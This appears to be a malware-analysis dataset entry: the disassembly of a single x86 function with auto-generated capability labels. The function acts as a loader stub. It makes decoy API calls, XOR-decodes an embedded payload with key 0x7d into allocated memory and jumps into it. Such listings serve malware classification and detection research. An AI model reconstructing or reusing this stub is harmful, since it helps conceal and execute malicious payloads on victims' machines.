Function at 0x4023d0
Capabilities:
Accept command line arguments
Delete directory
Delete file
Get common file path
Suspend thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8af8
call fcn.00402800
push ebx
push esi
push edi
and dword [ebp - 0x8ae8], 0
and dword [ebp - 0x8ae4], 0
and dword [ebp - 0x8ac4], 0
and dword [ebp - 0x8ae0], 0
and dword [ebp - 0x8adc], 0
and dword [ebp - 8], 0
and dword [ebp - 0x8ac0], 0
and dword [ebp - 0x48], 0
and dword [ebp - 0x8ad8], 0
and dword [ebp - 4], 0
mov dword [ebp - 0x8ab4], 0x101000
and dword [ebp - 0x3c], 0
and dword [ebp - 0x34], 0
mov esi, 0x40239c
lea edi, [ebp - 0x8ad4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 6
pop ecx
mov esi, 0x4023a8
lea edi, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [ebp - 0x10], 0x18390
mov dword [ebp - 0x8ab8], 0x229c
and dword [ebp - 0xc], 0
and dword [ebp - 0x8ab0], 0
mov ecx, 0x2298
xor eax, eax
lea edi, [ebp - 0x8aac]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x44], 0x1000
and dword [ebp - 0x30], 0
and dword [ebp - 0x40], 0
and dword [ebp - 0x8abc], 0
and dword [ebp - 0x38], 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0
push 0
push 0
push 1
push 0xa
push 0xa
push 0xa
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
call dword [sym.imp.USER32.dll_DestroyWindow]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp - 4], 0
jne 0x4025f3
mov dword [ebp - 0x8ad8], 0x40
and dword [ebp - 0x8aec], 0
jmp 0x4024f3
mov eax, dword [ebp - 0x8aec]
inc eax
mov dword [ebp - 0x8aec], eax
mov eax, dword [ebp - 0x8aec]
cmp eax, dword [ebp - 0x8ab8]
jae 0x402562
push 4
push dword [ebp - 0x44]
push 0x369
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x8aec]
mov dword [ebp + ecx*4 - 0x8ab0], eax
and dword [ebp - 0x8af0], 0
jmp 0x402536
mov eax, dword [ebp - 0x8af0]
inc eax
mov dword [ebp - 0x8af0], eax
cmp dword [ebp - 0x8af0], 0x1f2
jae 0x402560
mov eax, dword [ebp - 0x8aec]
mov eax, dword [ebp + eax*4 - 0x8ab0]
mov ecx, dword [ebp - 0x8af0]
mov dl, byte [ebp - 0x8af0]
mov byte [eax + ecx], dl
jmp 0x402529
jmp 0x4024e6
mov word [ebp - 0x2a], 0x69
push dword [ebp - 0x8ad8]
push dword [ebp - 0x8ab4]
push dword [ebp - 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [ebp - 0x10], 0
je 0x402587
mov ebx, eax
push 0x4023c4
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x4025f1
push 0
push 0
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [ebp - 0x38], eax
and dword [ebp - 0x8af4], 0
jmp 0x4025bd
mov eax, dword [ebp - 0x8af4]
inc eax
mov dword [ebp - 0x8af4], eax
mov eax, dword [ebp - 0x8af4]
cmp eax, dword [ebp - 0x8ab8]
jae 0x4025ee
mov dword [ebp - 8], 0x1fa0
push 0x8000
push 0
mov eax, dword [ebp - 0x8af4]
push dword [ebp + eax*4 - 0x8ab0]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4025b0
mov dword [ebp - 0x3c], ebx
jmp 0x40260b
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x34], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x30], eax
lea eax, [ebp + 0xc]
push eax
push 0
call fcn.0040279d
pop ecx
pop ecx
mov dword [ebp - 0x8ac0], 0x1000
mov dword [ebp - 0x8ac0], 0x8d09a
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x8ac0]
mov dword [ebp - 0x30], eax
push dword [ebp - 8]
mov dword [ebp - 0x8ac4], 0x3000
pop dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x4026cf
and dword [ebp - 0x8af8], 0
jmp 0x402685
mov eax, dword [ebp - 0x8af8]
inc eax
mov dword [ebp - 0x8af8], eax
mov eax, dword [ebp - 0x8af8]
cmp eax, dword [ebp - 8]
jae 0x4026cf
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test eax, eax
jbe 0x4026cd
mov byte [ebp - 0x8ad3], 0x7d
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x8af8]
mov al, byte [eax]
mov byte [ebp - 0x8ad2], al
movsx eax, byte [ebp - 0x8ad2]
movsx ecx, byte [ebp - 0x8ad3]
xor eax, ecx
mov ecx, dword [ebp - 0x3c]
add ecx, dword [ebp - 0x8af8]
mov byte [ecx], al
jmp 0x402678
mov dword [ebp - 8], 0xffee
push dword [ebp - 0x34]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x8ac8], eax
push dword [ebp - 0x8ac8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, 1
jbe 0x402706
pop edx
push eax
push dword [ebp - 0x8ac8]
pop ebx
jmp dword [ebp - 0x8ac8]
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret